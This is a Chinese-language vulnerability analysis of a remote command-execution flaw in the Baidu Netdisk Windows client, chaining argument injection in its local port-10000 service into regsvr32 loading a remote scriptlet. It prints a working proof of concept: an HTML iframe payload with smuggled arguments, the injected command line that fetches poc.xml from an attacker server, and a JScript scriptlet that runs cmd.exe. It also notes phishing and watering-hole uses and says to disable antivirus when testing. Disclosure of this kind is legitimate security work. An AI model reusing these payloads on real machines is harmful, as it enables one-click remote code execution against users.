漏洞简介
注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。
百度网盘Windows客户端安装后,后台程序将监听本地10000端口,处理HTTP(HTTPS)请求。其中的HTTP请求OpenSafeBox存在命令注入漏洞,攻击者可以控制该请求的URL参数,注入指定命令,可实现远程命令执行。
影响范围
版本小于等于7.59.5.104(最新版,截止时间2025/09/3)
漏洞分析
分析时的百度网盘Windows客户端最新版本为7.59.5.104,安装路径为默认路径。

百度网盘Windows客户端安装后,后台程序YunDetectService.exe将监听本地10000端口。该后台程序为开机自启动。

10000端口处理HTTP或者HTTPS请求(版本7.50.0.130之前处理HTTP,往后版本则是HTTPS),以method = xxxx的形式传递参数,实现不同的功能。其中的method 主要包括:GetVersion,GetPcCode,DownloadShareItems,DownloadSelfOwnItems,OpenSafeBox等。

OpenSafeBox方法的参数uk字段的值作为BaiduNetdisk.exe的命令行参数userkey的值,以字符串拼接的方式传递到该程序中,后续将创建该程序运行。URL参数传递形式为method=OpenSafeBox&uk=xxxx,传递到程序中的形式为-opensafebox -userkey 【具体userkey值】,代码中没有对该参数进行安全检测和过滤,因此此处存在命令行参数注入。

现在能够向BaiduNetdisk.exe命令行注入任意参数后,还需分析如何利用被注入的参数实现命令执行。

BaiduNetdisk.exe程序支持opensafebox,install,userkey,createshortcut等命令行参数。其中参数install regdll实现的功能中,将创建系统程序regsvr32.exe注册YunShellExt.dll文件,其文件目录通过命令行参数进行拼接组合,此目录参数可控。后续还将检查拼接后的YunShellExt.dll或者YunShellExt64.dll文件是否存在,如果存在才会执行后续的注册功能。这里可以使用路径穿越字符串“..\”构造YunShellExt.dll的真实路径,比如:..\\..\\..\\..\\..\\..\\..\\..\\Users【用户名】\\AppData\\Roaming\\baidu\\BaiduNetdisk",唯一的限制是需要提前知道当前的用户名。

注册时,调用系统regsvr32.exe程序实现。其中regsvr32.exe的参数同样采用字符串拼接的方式进行组合,没有对其进行安全检测和过滤,文件路径可控,可进行命令行参数注入。正常情况下,此时regsvr32.exe对应的文件路径是YunShellExt.dll或者YunShellExt64.dll的文件路径。

漏洞利用时,可以将该DLL路径劫持为系统自带的scrobj.dll路径,同时使用双引号截断命令,对regsvr32.exe进行命令行参数注入,以便引入/i和/u参数,再传递远程xml文件地址。此时将下载远程xml文件,并执行其中的命令,实现远程执行命令的目的。
最终漏洞利用时,BaiduNetdisk.exe程序执行的参数为:
BaiduNetdisk.exe -opensafebox -userkey a -install regdll "C:\\windows\\system32\\scrobj.dll\" /u /i:http://【攻击者服务器地址】/poc.xml "..\\..\\..\\..\\..\\..\\..\\..\\Users\【用户名】\\AppData\\Roaming\\baidu\\BaiduNetdisk",导致最终执行了程序regsvr32.exe/s "C:\\windows\\system32\\scrobj.dll" /u/i:http://【攻击者服务器地址】/poc.xml。

漏洞复现
使用python3搭建http web服务。修改poc.html中的攻击者服务器地址和用户名,用户名是安装百度网盘客户端机器上的用户名,然后将poc.xml和poc.html放入web目录,使之能远程访问。

poc.html的内容为:
<html> <iframe width="1px" height="1px" referrerpolicy="no-referrer" src='https://localhost.pan.baidu.com:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://【your-IP】/poc.xml%20..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\【your-name】\\AppData\\Roaming\\baidu\\BaiduNetdisk%22'></iframe></html>
约等于在BaiduNetdisk目录下的cmd里执行如下命令
BaiduNetdisk.exe -OpenSafeBox -userkey a -install regdll "C:\\windows\\system32\\scrobj.dll\" /u /i:http://【your-IP】/poc.xml ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\【your-name】\\AppData\\Roaming\\baidu\\BaiduNetdisk"
poc.xml的内容为:
<?xml version="1.0"?><scriptlet><registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe"); ]]> </script></registration></scriptlet>

确保百度网盘客户端BaiduNetdisk.exe进程已退出(默认情况下,百度网盘客户端安装后,重启电脑后只有后台程序YunDetectService.exe运行)。使用浏览器访问远程poc.html,触发漏洞,将运行BaiduNetdisk.exe程序。最终执行regsvr32.exe程序,下载并执行远程poc.xml中的命令,运行计算器程序,实现远程命令执行。(如果杀毒软件拦截了命令,请关闭杀毒软件后再试)



此漏洞为1click,并且有限制,需要提前知道目标当前用户名!可被用于钓鱼或水坑攻击。
原文链接: 某网盘Windows客户端远程命令执行漏洞分析
历史版本百度网盘下载: https://mydown.yesky.com/pcsoft/413570026/versions/



7.59.5.104 复现不了